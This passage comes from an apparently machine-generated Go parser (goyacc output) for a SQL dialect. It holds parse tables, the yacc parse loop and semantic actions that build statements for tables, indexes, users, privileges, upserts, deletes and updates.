0, 0, 0, 0, 0, 0, 55, 0, 0, 0, 62, 0, 63, 64, 65, 0, 0, 66, 0, 67, 0, 68, 69, 0, 0, 70, 71, 72, 73, 74, 75, 0, 0, 0, 76, 77, 0, 78, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 79, 0, 0, 0, 59, 0, 60, 0, 80, 0, 81, 88, 57, 61, 82, 83, 84, 85, 86, 87, 58, 0, 0, 0, 0, 0, 0, 55, 0, 0, 0, 62, 0, 63, 64, 65, 0, 0, 66, 0, 67, 0, 68, 69, 0, 0, 70, 71, 72, 73, 74, 75, 0, 0, 0, 76, 77, 0, 78, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 100, 0, 0, 0, 0, 0, 0, 0, 80, 0, 81, 88, 0, 0, 82, 83, 84, 85, 86, 87, 0, 0, 0, 0, 0, 0, 0, 55, } var yyPact = [...]int16{ 298, -1000, -1000, -9, -1000, -1000, -1000, 308, -1000, -1000, 420, 184, 378, 423, 421, 421, 302, 299, 278, 1665, 239, 217, 280, -1000, 298, -1000, 82, 1750, 151, 375, 98, -1000, 97, 442, 1665, 1580, 95, 1665, 92, 365, 312, 29, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 363, 1665, 1665, 1665, 294, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 237, -1000, -1000, 91, -1000, 314, 746, -1000, -1000, 208, -1000, 205, -13, -1000, 362, 188, 151, 445, -1000, -1000, 397, 631, 631, -1000, 1665, 37, -1000, 413, 415, 460, -1000, 421, 458, -17, -17, 263, 79, 163, -1000, -1000, 87, 275, -1000, 28, 1495, 77, 112, -1000, 861, -1000, 104, -1000, 11, -18, -1000, -1000, 861, 976, -1000, 861, 137, -1000, -1000, -22, 32, -24, -1000, -1000, -1000, -1000, -1000, -25, -1000, -1000, -1000, -1000, 36, -30, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 172, 168, 1293, 1665, 164, 361, 409, -1000, 631, 631, -1000, 861, -1000, -1000, -36, 1394, 339, 335, 332, 403, 1665, -1000, 1665, 177, 1394, 177, 462, 861, 74, -1000, 101, -1000, -1000, 1192, 861, -1000, -1000, 1665, 861, 861, -1000, 976, 150, 976, 198, 976, 976, 976, -1000, 976, 976, 976, 163, 226, -1000, -1000, -1000, -50, 463, 176, 12, 48, 1091, 861, 1394, 861, 86, 1665, -59, -1000, -1000, -1000, 327, 463, 861, 83, -1000, -37, -1000, 1665, 45, -1000, -1000, -1000, 1394, -1000, 1394, 1665, 1394, 1394, 81, 44, 346, 343, 360, -47, -1000, -61, -1000, -1000, 253, 373, -1000, 462, 79, 861, 462, 442, 273, -38, -39, -40, -43, 1495, 1495, -1000, 112, -1000, 5, -1000, 145, 31, 976, -44, 5, 11, 11, -1000, -1000, -1000, -52, 227, 861, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 274, -1000, -1000, -1000, -1000, -1000, -1000, 43, -1000, -53, -54, 244, -1000, -55, 27, -1000, -1000, -45, -1000, 1293, 76, -92, -1000, 321, 1394, -46, 450, -62, -1000, -1000, 342, -1000, -1000, 450, 456, 414, -1000, 288, 24, -1000, 861, 1394, -1000, 250, 861, 354, 253, -1000, -1000, 117, 1495, -47, -56, 391, -57, -58, 73, -60, -1000, -1000, -1000, 976, 5, 516, -1000, 199, 861, 861, 219, 861, -1000, -1000, -1000, 463, -1000, 861, 1293, -1000, -1000, -1000, 1394, 147, 53, 51, 861, -63, 1394, -1000, -1000, -1000, -1000, -1000, 1394, -1000, 72, 70, 285, -47, -64, -1000, -1000, 861, -1000, 76, 250, 263, -1000, 117, 271, -1000, -1000, -73, 1495, 58, 1495, 1495, -65, 1495, 5, -66, -75, 217, -1000, 215, -1000, 861, -83, -86, -1000, -76, -80, 153, -1000, 144, -103, -87, -1000, -1000, -81, -1000, -1000, -1000, 277, -1000, -1000, -1000, -1000, -1000, 261, -1000, 1192, -1000, -1000, -100, -1000, -1000, -1000, -1000, -1000, -1000, 861, -1000, -1000, -1000, -1000, -1000, 329, -1000, -1000, -1000, -1000, -1000, -1000, 267, 259, 462, 1495, -1000, -1000, 324, 246, 861, 1394, 351, -1000, -1000, 253, 257, -1000, 21, -1000, 861, 250, 861, 1394, -1000, -1000, -1, 243, -1000, 861, -1000, -1000, -1000, 243, -1000, } var yyPgo = [...]int16{ 0, 569, 432, 562, 561, 558, 18, 556, 26, 12, 143, 21, 554, 17, 11, 16, 19, 553, 7, 549, 547, 4, 546, 541, 9, 29, 382, 24, 536, 535, 36, 534, 15, 533, 532, 531, 23, 13, 0, 528, 10, 526, 525, 524, 519, 33, 518, 514, 34, 28, 44, 35, 512, 511, 8, 3, 510, 509, 507, 506, 6, 505, 501, 1, 5, 227, 498, 497, 496, 495, 25, 494, 493, 20, 480, 153, 476, 475, 14, 471, 470, 2, 27, 58, 469, } var yyR1 = [...]int8{ 0, 1, 2, 2, 84, 84, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 75, 75, 75, 74, 74, 74, 74, 74, 74, 74, 73, 73, 73, 73, 65, 65, 5, 5, 5, 5, 25, 25, 72, 72, 71, 71, 70, 13, 13, 14, 12, 12, 16, 16, 15, 15, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 78, 78, 78, 78, 78, 78, 78, 78, 18, 37, 37, 36, 36, 36, 8, 69, 69, 59, 59, 59, 66, 66, 67, 67, 67, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 23, 23, 22, 22, 57, 57, 58, 58, 19, 19, 19, 19, 20, 20, 21, 21, 82, 83, 83, 9, 9, 11, 11, 10, 10, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 81, 81, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 24, 24, 24, 24, 24, 24, 24, 24, 24, 26, 27, 28, 28, 28, 29, 29, 29, 30, 30, 31, 31, 32, 32, 33, 34, 34, 40, 40, 53, 53, 41, 41, 54, 54, 55, 55, 62, 62, 64, 64, 61, 61, 63, 63, 63, 60, 60, 60, 35, 35, 39, 39, 56, 76, 76, 43, 43, 38, 44, 44, 45, 45, 49, 49, 46, 46, 46, 46, 46, 46, 46, 47, 47, 47, 47, 47, 48, 48, 48, 50, 50, 50, 50, 51, 51, 52, 52, 42, 42, 42, 42, 68, 68, 77, 77, 77, 77, 77, 77, } var yyR2 = [...]int8{ 0, 1, 2, 3, 0, 1, 1, 1, 1, 2, 1, 1, 1, 6, 3, 2, 3, 3, 9, 6, 3, 8, 9, 7, 5, 6, 6, 8, 6, 6, 7, 7, 3, 8, 8, 2, 1, 3, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 3, 6, 5, 7, 8, 2, 1, 0, 4, 1, 3, 3, 1, 3, 3, 1, 3, 0, 1, 1, 3, 1, 1, 1, 1, 1, 6, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 4, 1, 3, 1, 1, 3, 6, 0, 2, 0, 3, 3, 0, 1, 0, 1, 2, 1, 4, 2, 2, 3, 2, 2, 4, 13, 3, 0, 1, 0, 1, 1, 1, 2, 4, 1, 2, 4, 4, 2, 3, 1, 3, 1, 1, 1, 1, 3, 1, 3, 0, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 4, 4, 4, 4, 4, 4, 2, 6, 1, 2, 0, 2, 2, 0, 2, 2, 2, 1, 0, 1, 1, 2, 6, 0, 1, 0, 2, 0, 3, 0, 2, 0, 2, 0, 2, 0, 3, 0, 4, 2, 4, 0, 1, 1, 0, 1, 2, 2, 4, 0, 1, 5, 4, 5, 0, 2, 1, 3, 1, 3, 1, 2, 1, 3, 3, 4, 5, 4, 3, 1, 4, 6, 6, 1, 1, 3, 3, 1, 3, 3, 3, 1, 2, 1, 3, 1, 1, 1, 3, 6, 0, 1, 1, 1, 1, 1, 1, 1, } var yyChk = [...]int16{ -1000, -1, -2, -3, -4, -5, -6, 48, 50, 51, 4, 6, 5, 34, 43, 44, 52, 53, 56, 57, -7, 94, 63, -84, 130, 49, 7, 30, 32, 31, 8, 113, 7, 14, 30, 32, 8, 30, 8, -75, 78, -74, 63, 4, 52, 57, 56, 5, 34, -75, 54, 54, 65, -26, -81, 113, -79, 13, 21, 5, 7, 14, 32, 34, 35, 36, 39, 41, 43, 44, 47, 48, 49, 50, 51, 52, 56, 57, 59, 86, 94, 96, 100, 101, 102, 103, 104, 105, 97, 77, 95, 96, 30, 97, 45, -22, 64, -2, 86, 113, 86, -82, -81, -65, 86, 32, 113, 113, -27, -28, 16, 17, -81, 33, -82, 113, -82, 113, 33, 47, 123, 33, -26, -26, -26, 58, -23, 78, 113, 46, -57, 126, -58, -38, -44, -45, -49, 84, -46, -48, -47, -50, 87, -56, -51, 79, 125, -52, 131, -42, -19, -17, 99, -21, 119, 114, 115, 116, 117, 118, 92, -18, 106, 107, 91, -83, 113, -81, -80, 98, 26, 23, 28, 22, 29, 27, 55, 24, 84, 84, 131, 33, 84, -65, 9, -29, 19, 18, -30, 20, -38, -30, -82, 121, 35, 36, 5, 9, 7, -75, 7, -10, 131, -10, -40, 68, -71, -70, 113, -6, 113, 65, 123, -60, -81, 76, 110, 109, -49, 111, 89, 98, -68, 112, 124, 125, 84, 126, 127, 128, 131, -39, -38, -51, 87, -38, 93, 131, -20, 122, 131, 131, 121, 131, 87, 87, -37, -36, -8, -35, 40, -83, 42, 39, 99, -82, 87, 33, 10, -30, -30, -38, 131, -83, 38, 37, 38, 38, 39, 10, -81, -81, -25, 55, -6, -9, -83, -25, -64, 6, -38, -40, 123, 111, -24, -26, 131, 95, 96, 30, 97, -18, -38, -81, -45, -49, -48, 91, 84, -48, 85, 88, -48, -50, -50, -51, -51, -51, -6, -76, 80, 132, -78, 22, 23, 24, 25, 26, 27, 28, 29, -77, 100, 101, 102, 103, 104, 105, 122, 116, 126, -21, -38, -83, -16, -15, -38, 113, -82, 132, 123, 41, -78, -38, 113, 131, -82, 116, -9, -8, -82, -83, -83, 113, 116, 37, 37, -72, 33, -13, -14, 131, 123, 132, -54, 71, 32, -64, -70, -38, -64, -27, 55, -6, 15, 131, 131, 131, 131, -60, -60, 91, 109, -48, 131, 132, -43, 80, 82, -38, 65, 116, 132, 132, 76, 132, 123, 131, -36, -11, -83, 131, -59, 133, 131, 42, -9, 131, -73, 11, 12, 13, 132, 37, -73, 8, 8, 59, 123, -16, -83, -55, 72, -38, 33, -54, -31, -32, -33, -34, 108, -60, -13, 132, 21, 132, 132, 113, 132, -48, -6, -15, 94, 83, -38, -38, 81, -38, -78, -38, -37, -9, -67, 91, 84, 114, 114, -38, 132, -9, -83, 113, 113, 60, -14, 132, -38, -11, -55, -40, -32, 66, 132, -60, 113, -60, -60, 132, -60, 132, 132, 81, -38, 132, 132, 132, 132, -66, 90, 91, 134, 132, 132, 61, -53, 69, -24, 132, -38, -69, 40, -41, 67, 70, -64, -60, 41, -62, 73, -38, -12, -21, 33, -54, 70, 123, -38, -55, -61, -38, -21, 123, -63, 74, 75, -38, -63, } var yyDef = [...]int16{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 106, 0, 118, 2, 5, 9, 0, 0, 49, 0, 0, 15, 0, 197, 0, 0, 0, 0, 0, 0, 0, 36, 38, 39, 40, 41, 42, 43, 44, 0, 0, 0, 0, 0, 195, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 116, 108, 109, 0, 111, 112, 0, 119, 3, 0, 14, 176, 0, 132, 0, 0, 49, 0, 16, 17, 200, 0, 0, 20, 0, 0, 32, 0, 0, 0, 35, 0, 0, 139, 139, 212, 0, 0, 117, 110, 0, 115, 120, 121, 231, 243, 245, 247, 0, 249, -2, 256, 264, 144, 260, 268, 236, 0, 270, 0, 272, 273, 274, 145, 124, 0, 71, 72, 73, 74, 75, 0, 77, 78, 79, 80, 130, 152, 133, 134, 141, 142, 143, 146, 147, 148, 149, 150, 151, 0, 0, 0, 0, 0, 0, 0, 196, 0, 0, 198, 0, 204, 199, 0, 0, 0, 0, 0, 0, 0, 37, 0, 0, 0, 0, 224, 0, 212, 59, 0, 107, 113, 0, 0, 122, 232, 0, 0, 0, 248, 0, 0, 0, 0, 0, 0, 0, 278, 0, 0, 0, 0, 0, 237, 269, 144, 0, 0, 0, 125, 0, 0, 0, 0, 67, 0, 0, 0, 90, 92, 93, 0, 0, 0, 163, 145, 0, 50, 0, 0, 201, 202, 203, 0, 24, 0, 0, 0, 0, 0, 0, 0, 0, 57, 0, 56, 0, 135, 52, 218, 0, 213, 224, 0, 0, 224, 197, 0, 0, 178, 0, 185, 231, 231, 233, 244, 246, 250, 251, 0, 0, 0, 0, 255, 262, 263, 265, 266, 267, 0, 241, 0, 271, 275, 81, 82, 83, 84, 85, 86, 87, 88, 0, 279, 280, 281, 282, 283, 284, 0, 128, 0, 0, 0, 131, 0, 68, 69, 13, 0, 19, 0, 0, 98, 234, 0, 0, 0, 45, 0, 25, 26, 0, 28, 29, 45, 0, 0, 51, 0, 55, 62, 67, 0, 140, 220, 0, 0, 218, 60, 61, -2, 231, 0, 0, 0, 0, 0, 0, 0, 193, 123, 252, 0, 254, 0, 257, 0, 0, 0, 0, 0, 129, 126, 127, 0, 89, 0, 0, 91, 94, 137, 0, 103, 0, 0, 0, 0, 0, 30, 46, 47, 48, 23, 0, 31, 0, 0, 0, 0, 0, 136, 53, 0, 219, 0, 220, 212, 206, -2, 0, 211, 186, 0, 231, 0, 231, 231, 0, 231, 253, 0, 0, 177, 238, 0, 242, 0, 0, 0, 70, 0, 0, 101, 104, 0, 0, 0, 235, 21, 0, 27, 33, 34, 0, 63, 64, 221, 225, 54, 214, 208, 0, 187, 188, 0, 189, 190, 191, 192, 258, 259, 0, 239, 276, 76, 18, 138, 96, 102, 105, 99, 100, 22, 58, 216, 0, 224, 231, 240, 95, 0, 222, 0, 0, 0, 194, 97, 218, 0, 217, 215, 65, 0, 220, 0, 0, 209, 114, 223, 228, 66, 0, 226, 229, 230, 228, 227, } var yyTok1 = [...]uint8{ 1, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 128, 3, 3, 131, 132, 126, 124, 123, 125, 129, 127, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 133, 3, 134, } var yyTok2 = [...]uint8{ 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 130, } var yyTok3 = [...]int8{ 0, } var yyErrorMessages = [...]struct { state int token int msg string }{} /* parser for yacc output */ var ( yyDebug = 0 yyErrorVerbose = false ) type yyLexer interface { Lex(lval *yySymType) int Error(s string) } type yyParser interface { Parse(yyLexer) int Lookahead() int } type yyParserImpl struct { lval yySymType stack [yyInitialStackSize]yySymType char int } func (p *yyParserImpl) Lookahead() int { return p.char } func yyNewParser() yyParser { return &yyParserImpl{} } const yyFlag = -1000 func yyTokname(c int) string { if c >= 1 && c-1 < len(yyToknames) { if yyToknames[c-1] != "" { return yyToknames[c-1] } } return __yyfmt__.Sprintf("tok-%v", c) } func yyStatname(s int) string { if s >= 0 && s < len(yyStatenames) { if yyStatenames[s] != "" { return yyStatenames[s] } } return __yyfmt__.Sprintf("state-%v", s) } func yyErrorMessage(state, lookAhead int) string { const TOKSTART = 4 if !yyErrorVerbose { return "syntax error" } for _, e := range yyErrorMessages { if e.state == state && e.token == lookAhead { return "syntax error: " + e.msg } } res := "syntax error: unexpected " + yyTokname(lookAhead) // To match Bison, suggest at most four expected tokens. expected := make([]int, 0, 4) // Look for shiftable tokens. base := int(yyPact[state]) for tok := TOKSTART; tok-1 < len(yyToknames); tok++ { if n := base + tok; n >= 0 && n < yyLast && int(yyChk[int(yyAct[n])]) == tok { if len(expected) == cap(expected) { return res } expected = append(expected, tok) } } if yyDef[state] == -2 { i := 0 for yyExca[i] != -1 || int(yyExca[i+1]) != state { i += 2 } // Look for tokens that we accept or reduce. for i += 2; yyExca[i] >= 0; i += 2 { tok := int(yyExca[i]) if tok < TOKSTART || yyExca[i+1] == 0 { continue } if len(expected) == cap(expected) { return res } expected = append(expected, tok) } // If the default action is to accept or reduce, give up. if yyExca[i+1] != 0 { return res } } for i, tok := range expected { if i == 0 { res += ", expecting " } else { res += " or " } res += yyTokname(tok) } return res } func yylex1(lex yyLexer, lval *yySymType) (char, token int) { token = 0 char = lex.Lex(lval) if char <= 0 { token = int(yyTok1[0]) goto out } if char < len(yyTok1) { token = int(yyTok1[char]) goto out } if char >= yyPrivate { if char < yyPrivate+len(yyTok2) { token = int(yyTok2[char-yyPrivate]) goto out } } for i := 0; i < len(yyTok3); i += 2 { token = int(yyTok3[i+0]) if token == char { token = int(yyTok3[i+1]) goto out } } out: if token == 0 { token = int(yyTok2[1]) /* unknown char */ } if yyDebug >= 3 { __yyfmt__.Printf("lex %s(%d)\n", yyTokname(token), uint(char)) } return char, token } func yyParse(yylex yyLexer) int { return yyNewParser().Parse(yylex) } func (yyrcvr *yyParserImpl) Parse(yylex yyLexer) int { var yyn int var yyVAL yySymType var yyDollar []yySymType _ = yyDollar // silence set and not used yyS := yyrcvr.stack[:] Nerrs := 0 /* number of errors */ Errflag := 0 /* error recovery flag */ yystate := 0 yyrcvr.char = -1 yytoken := -1 // yyrcvr.char translated into internal numbering defer func() { // Make sure we report no lookahead when not parsing. yystate = -1 yyrcvr.char = -1 yytoken = -1 }() yyp := -1 goto yystack ret0: return 0 ret1: return 1 yystack: /* put a state and value onto the stack */ if yyDebug >= 4 { __yyfmt__.Printf("char %v in %v\n", yyTokname(yytoken), yyStatname(yystate)) } yyp++ if yyp >= len(yyS) { nyys := make([]yySymType, len(yyS)*2) copy(nyys, yyS) yyS = nyys } yyS[yyp] = yyVAL yyS[yyp].yys = yystate yynewstate: yyn = int(yyPact[yystate]) if yyn <= yyFlag { goto yydefault /* simple state */ } if yyrcvr.char < 0 { yyrcvr.char, yytoken = yylex1(yylex, &yyrcvr.lval) } yyn += yytoken if yyn < 0 || yyn >= yyLast { goto yydefault } yyn = int(yyAct[yyn]) if int(yyChk[yyn]) == yytoken { /* valid shift */ yyrcvr.char = -1 yytoken = -1 yyVAL = yyrcvr.lval yystate = yyn if Errflag > 0 { Errflag-- } goto yystack } yydefault: /* default state action */ yyn = int(yyDef[yystate]) if yyn == -2 { if yyrcvr.char < 0 { yyrcvr.char, yytoken = yylex1(yylex, &yyrcvr.lval) } /* look through exception table */ xi := 0 for { if yyExca[xi+0] == -1 && int(yyExca[xi+1]) == yystate { break } xi += 2 } for xi += 2; ; xi += 2 { yyn = int(yyExca[xi+0]) if yyn < 0 || yyn == yytoken { break } } yyn = int(yyExca[xi+1]) if yyn < 0 { goto ret0 } } if yyn == 0 { /* error ... attempt to resume parsing */ switch Errflag { case 0: /* brand new error */ yylex.Error(yyErrorMessage(yystate, yytoken)) Nerrs++ if yyDebug >= 1 { __yyfmt__.Printf("%s", yyStatname(yystate)) __yyfmt__.Printf(" saw %s\n", yyTokname(yytoken)) } fallthrough case 1, 2: /* incompletely recovered error ... try again */ Errflag = 3 /* find a state where "error" is a legal shift action */ for yyp >= 0 { yyn = int(yyPact[yyS[yyp].yys]) + yyErrCode if yyn >= 0 && yyn < yyLast { yystate = int(yyAct[yyn]) /* simulate a shift of "error" */ if int(yyChk[yystate]) == yyErrCode { goto yystack } } /* the current p has no shift on "error", pop stack */ if yyDebug >= 2 { __yyfmt__.Printf("error recovery pops state %d\n", yyS[yyp].yys) } yyp-- } /* there is no state on the stack with an error shift ... abort */ goto ret1 case 3: /* no shift yet; clobber input char */ if yyDebug >= 2 { __yyfmt__.Printf("error recovery discards %s\n", yyTokname(yytoken)) } if yytoken == yyEofCode { goto ret1 } yyrcvr.char = -1 yytoken = -1 goto yynewstate /* try again in the same state */ } } /* reduction by production yyn */ if yyDebug >= 2 { __yyfmt__.Printf("reduce %v in:\n\t%v\n", yyn, yyStatname(yystate)) } yynt := yyn yypt := yyp _ = yypt // guard against "declared and not used" yyp -= int(yyR2[yyn]) // yyp is now the index of $0. Perform the default action. Iff the // reduced production is ε, $1 is possibly out of range. if yyp+1 >= len(yyS) { nyys := make([]yySymType, len(yyS)*2) copy(nyys, yyS) yyS = nyys } yyVAL = yyS[yyp+1] /* consult goto table to find next state */ yyn = int(yyR1[yyn]) yyg := int(yyPgo[yyn]) yyj := yyg + yyS[yyp].yys + 1 if yyj >= yyLast { yystate = int(yyAct[yyg]) } else { yystate = int(yyAct[yyj]) if int(yyChk[yystate]) != -yyn { yystate = int(yyAct[yyg]) } } // dummy call; replaced with literal code switch yynt { case 1: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.stmts = yyDollar[1].stmts setResult(yylex, yyDollar[1].stmts) } case 2: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmts = []SQLStmt{yyDollar[1].stmt} } case 3: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.stmts = append([]SQLStmt{yyDollar[1].stmt}, yyDollar[3].stmts...) } case 4: yyDollar = yyS[yypt-0 : yypt+1] { } case 9: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &BeginTransactionStmt{} } case 10: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.stmt = &BeginTransactionStmt{} } case 11: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.stmt = &CommitStmt{} } case 12: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.stmt = &RollbackStmt{} } case 13: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.stmt = &CreateDatabaseStmt{ifNotExists: true, DB: yyDollar[6].id} } case 14: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.stmt = &CreateDatabaseStmt{ifNotExists: false, DB: yyDollar[3].id} } case 15: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &UseDatabaseStmt{DB: yyDollar[2].id} } case 16: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.stmt = &UseDatabaseStmt{DB: yyDollar[3].id} } case 17: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.stmt = &UseSnapshotStmt{period: yyDollar[3].period} } case 18: yyDollar = yyS[yypt-9 : yypt+1] { yyVAL.stmt = newCreateTableStmt(yyDollar[6].str, yyDollar[8].tableElems, true) } case 19: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.stmt = newCreateTableStmt(yyDollar[3].str, yyDollar[5].tableElems, false) } case 20: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.stmt = &DropTableStmt{table: yyDollar[3].str} } case 21: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &CreateIndexStmt{ifNotExists: yyDollar[3].boolean, table: yyDollar[5].str, cols: yyDollar[7].colNames} } case 22: yyDollar = yyS[yypt-9 : yypt+1] { yyVAL.stmt = &CreateIndexStmt{unique: true, ifNotExists: yyDollar[4].boolean, table: yyDollar[6].str, cols: yyDollar[8].colNames} } case 23: yyDollar = yyS[yypt-7 : yypt+1] { yyVAL.stmt = &DropIndexStmt{table: yyDollar[4].str, cols: yyDollar[6].colNames} } case 24: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.stmt = &DropIndexStmt{table: yyDollar[3].str, cols: []string{yyDollar[5].str}} } case 25: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.stmt = &AddColumnStmt{table: yyDollar[3].str, colSpec: yyDollar[6].colSpec} } case 26: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.stmt = &RenameTableStmt{oldName: yyDollar[3].str, newName: yyDollar[6].str} } case 27: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &RenameColumnStmt{table: yyDollar[3].str, oldName: yyDollar[6].str, newName: yyDollar[8].str} } case 28: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.stmt = &DropColumnStmt{table: yyDollar[3].str, colName: yyDollar[6].str} } case 29: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.stmt = &DropConstraintStmt{table: yyDollar[3].str, constraintName: yyDollar[6].id} } case 30: yyDollar = yyS[yypt-7 : yypt+1] { yyVAL.stmt = &CreateUserStmt{username: yyDollar[3].id, password: yyDollar[6].str, permission: yyDollar[7].permission} } case 31: yyDollar = yyS[yypt-7 : yypt+1] { yyVAL.stmt = &AlterUserStmt{username: yyDollar[3].id, password: yyDollar[6].str, permission: yyDollar[7].permission} } case 32: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.stmt = &DropUserStmt{username: yyDollar[3].id} } case 33: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &AlterPrivilegesStmt{database: yyDollar[5].str, user: yyDollar[8].id, privileges: yyDollar[2].sqlPrivileges, isGrant: true} } case 34: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &AlterPrivilegesStmt{database: yyDollar[5].str, user: yyDollar[8].id, privileges: yyDollar[2].sqlPrivileges} } case 35: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.sqlPrivileges = allPrivileges } case 36: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sqlPrivileges = []SQLPrivilege{yyDollar[1].sqlPrivilege} } case 37: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.sqlPrivileges = append(yyDollar[3].sqlPrivileges, yyDollar[1].sqlPrivilege) } case 38: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sqlPrivilege = SQLPrivilegeSelect } case 39: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sqlPrivilege = SQLPrivilegeCreate } case 40: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sqlPrivilege = SQLPrivilegeInsert } case 41: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sqlPrivilege = SQLPrivilegeUpdate } case 42: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sqlPrivilege = SQLPrivilegeDelete } case 43: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sqlPrivilege = SQLPrivilegeDrop } case 44: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sqlPrivilege = SQLPrivilegeAlter } case 45: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.permission = PermissionReadWrite } case 46: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.permission = PermissionReadOnly } case 47: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.permission = PermissionReadWrite } case 48: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.permission = PermissionAdmin } case 49: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } case 50: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.boolean = true } case 51: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.stmt = &UpsertIntoStmt{isInsert: true, tableRef: yyDollar[3].tableRef, cols: yyDollar[4].colNames, ds: yyDollar[5].ds, onConflict: yyDollar[6].onConflict} } case 52: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.stmt = &UpsertIntoStmt{tableRef: yyDollar[3].tableRef, cols: yyDollar[4].colNames, ds: yyDollar[5].ds} } case 53: yyDollar = yyS[yypt-7 : yypt+1] { yyVAL.stmt = &DeleteFromStmt{tableRef: yyDollar[3].tableRef, where: yyDollar[4].exp, indexOn: yyDollar[5].colNames, limit: yyDollar[6].exp, offset: yyDollar[7].exp} } case 54: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &UpdateStmt{tableRef: yyDollar[2].tableRef, updates: yyDollar[4].updates, where: yyDollar[5].exp, indexOn: yyDollar[6].colNames, limit: yyDollar[7].exp, offset: yyDollar[8].exp} } case 55: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ds = &valuesDataSource{rows: yyDollar[2].rows} } case 56: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ds = 